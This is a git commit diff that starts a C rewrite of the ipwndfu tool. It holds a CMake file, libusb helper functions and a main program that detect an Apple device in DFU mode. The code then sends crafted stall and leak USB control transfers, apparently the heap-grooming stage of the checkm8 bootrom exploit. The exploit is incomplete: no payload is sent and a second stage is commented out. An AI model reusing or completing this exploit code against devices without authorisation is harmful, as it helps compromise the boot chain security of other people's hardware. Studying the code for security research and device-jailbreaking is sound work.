commit 99602b5255127340d3f787149717eea4bed089d5 Author: Gregor Haas Date: Sat Oct 26 13:43:10 2019 -0400 Initial commit diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..65a5790 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,19 @@ +cmake_minimum_required(VERSION 3.10) +project(ipwndfu_rewrite_c C) + +set(CMAKE_C_STANDARD 99) +set(CMAKE_C_FLAGS -g) + +add_library(libusb-1.0_custom + libusb/config.h + + libusb/libusb/core.c libusb/libusb/descriptor.c libusb/libusb/hotplug.c + libusb/libusb/io.c libusb/libusb/strerror.c libusb/libusb/sync.c + libusb/libusb/hotplug.h libusb/libusb/libusb.h libusb/libusb/libusbi.h libusb/libusb/version.h + + libusb/libusb/os/linux_netlink.c libusb/libusb/os/linux_usbfs.c libusb/libusb/os/linux_udev.c + libusb/libusb/os/threads_posix.c libusb/libusb/os/poll_posix.c + libusb/libusb/os/linux_usbfs.h libusb/libusb/os/threads_posix.h libusb/libusb/os/poll_posix.h) + +add_executable(ipwndfu main.c libusb_helpers.c libusb_helpers.h) +target_link_libraries(ipwndfu libusb-1.0_custom pthread udev) diff --git a/libusb_helpers.c b/libusb_helpers.c new file mode 100644 index 0000000..67ba74f --- /dev/null +++ b/libusb_helpers.c @@ -0,0 +1,159 @@ +// +// Created by grg on 10/23/19. +// + +#include "libusb_helpers.h" + +#include +#include +#include +#include + +void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle) +{ + libusb_device **usb_device_list = NULL; + int usb_dev_count; + + usb_dev_count = libusb_get_device_list(usb_ctx, &usb_device_list); + + libusb_device *usb_device = NULL; + libusb_device_handle *usb_handle = NULL; + struct libusb_device_descriptor usb_desc = {0}; + + for(unsigned int i = 0; i < usb_dev_count; i++) + { + usb_device = usb_device_list[i]; + libusb_get_device_descriptor(usb_device, &usb_desc); + + if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227) + { + libusb_open(usb_device, &usb_handle); + break; + } + } + + libusb_free_device_list(usb_device_list, usb_dev_count); + bundle->handle = usb_handle; + bundle->descriptor = usb_desc; +} + +void libusb1_async_ctrl_transfer(libusb_device_handle *handle, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout) +{ + struct timeval start, end; + unsigned char usb_transfer_buf[8 + 2 + data_len]; + int ret; + + gettimeofday(&start, NULL); + + struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0); + libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, 0xC0); + memset(&usb_transfer_buf[8], data_len, 2); + memcpy(&usb_transfer_buf[10], data, data_len); + libusb_fill_control_transfer(usb_transfer, handle, usb_transfer_buf, NULL, NULL, 1); + + ret = libusb_submit_transfer(usb_transfer); + if(ret != 0) + { + printf("Failed to submit async USB transfer: %s\n", libusb_error_name(ret)); + libusb_free_transfer(usb_transfer); + exit(ret); + } + + while(1) + { + gettimeofday(&end, NULL); + if(end.tv_usec - start.tv_usec > timeout) + { + ret = libusb_cancel_transfer(usb_transfer); + libusb_free_transfer(usb_transfer); + if(ret != 0) + { + printf("Failed to cancel async USB transfer: %s\n", libusb_error_name(ret)); + exit(ret); + } + + return; + } + } +} + +void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout) +{ + int ret; + unsigned char recipient = bmRequestType & 3u; + unsigned char rqtype = bmRequestType & (3u << 5u); + if(recipient == 1 && rqtype == (2u << 5u)) + { + unsigned short interface = wIndex & 0xFFu; + ret = libusb_claim_interface(handle, interface); + if(ret > 0) + { + printf("%s\n", libusb_error_name(ret)); + exit(1); + } + } + + ret = libusb_control_transfer(handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); + if(ret > 0) + { + printf("%s\n", libusb_error_name(ret)); + } +} + +void stall(libusb_device_handle *handle) +{ + printf("Stall\n"); + unsigned char *data = malloc(0xC0); + memset(data, 0xA, 0xC0); + libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000); + free(data); +} + +void leak(libusb_device_handle *handle) +{ + printf("Leak\n"); + unsigned char *data = malloc(0xC0); + memset(data, 0, 0xC0); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000); + free(data); +} + +void no_leak(libusb_device_handle *handle) +{ + printf("No leak\n"); + unsigned char *data = malloc(0xC1); + memset(data, 0, 0xC1); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1000); + free(data); +} + +void usb_req_stall(libusb_device_handle *handle) +{ + printf("Req stall\n"); + unsigned char data[0]; + libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 10000); +} + +void usb_req_leak(libusb_device_handle *handle) +{ + printf("Req leak\n"); + unsigned char data[0x40]; + memset(data, 0, 0x40); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1000); +} + +void usb_req_no_leak(libusb_device_handle *handle) +{ + printf("Req no leak\n"); + unsigned char data[0x41]; + memset(data, 0, 0x41); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1000); +} \ No newline at end of file diff --git a/libusb_helpers.h b/libusb_helpers.h new file mode 100644 index 0000000..ede752a --- /dev/null +++ b/libusb_helpers.h @@ -0,0 +1,34 @@ +#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H +#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H + +#include "libusb-1.0/libusb.h" + +struct libusb_device_bundle +{ + struct libusb_device_handle *handle; + struct libusb_device_descriptor descriptor; +}; + +void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle); + +void libusb1_async_ctrl_transfer(libusb_device_handle *handle, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout); + +void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout); + +void stall(libusb_device_handle *handle); +void leak(libusb_device_handle *handle); +void no_leak(libusb_device_handle *handle); + +void usb_req_stall(libusb_device_handle *handle); +void usb_req_leak(libusb_device_handle *handle); +void usb_req_no_leak(libusb_device_handle *handle); + +#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H diff --git a/main.c b/main.c new file mode 100644 index 0000000..3f4a06a --- /dev/null +++ b/main.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include + +#include "libusb_helpers.h" + +int main() +{ + int ret; + libusb_context *usb_ctx = NULL; + libusb_init(&usb_ctx); + + struct libusb_device_bundle usb_bundle; + get_test_device(usb_ctx, &usb_bundle); + + if(usb_bundle.handle == NULL) + { + libusb_exit(usb_ctx); + printf("Could not find device\n"); + return 1; + } + + struct libusb_device_handle *usb_handle = usb_bundle.handle; + struct libusb_device_descriptor usb_desc = usb_bundle.descriptor; + + ret = libusb_set_auto_detach_kernel_driver(usb_handle, 1); + if(ret > 0) + { + printf("%s\n", libusb_error_name(ret)); + exit(1); + } + + unsigned char usb_serial_buf[128]; + unsigned char usb_data_buf[2048]; + unsigned char usb_transfer_buf[2048]; + + libusb_get_string_descriptor_ascii(usb_handle, usb_desc.iSerialNumber, usb_serial_buf, sizeof(usb_serial_buf)); + printf("Found device with serial %s\n", usb_serial_buf); + + // begin the USB magic section + unsigned int i; + + stall(usb_handle); + for(i = 0; i < 5; i++) + { + no_leak(usb_handle); + } + usb_req_leak(usb_handle); + no_leak(usb_handle); + +// libusb_close(usb_handle); +// libusb_exit(usb_ctx); +// +// usb_bundle.handle = NULL; +// +// // section 2 +// libusb_init(&usb_ctx); +// get_test_device(usb_ctx, &usb_bundle); +// if(usb_bundle.handle == NULL) +// { +// libusb_exit(usb_ctx); +// printf("Could not find device\n"); +// return 1; +// } + + + return 0; +} \ No newline at end of file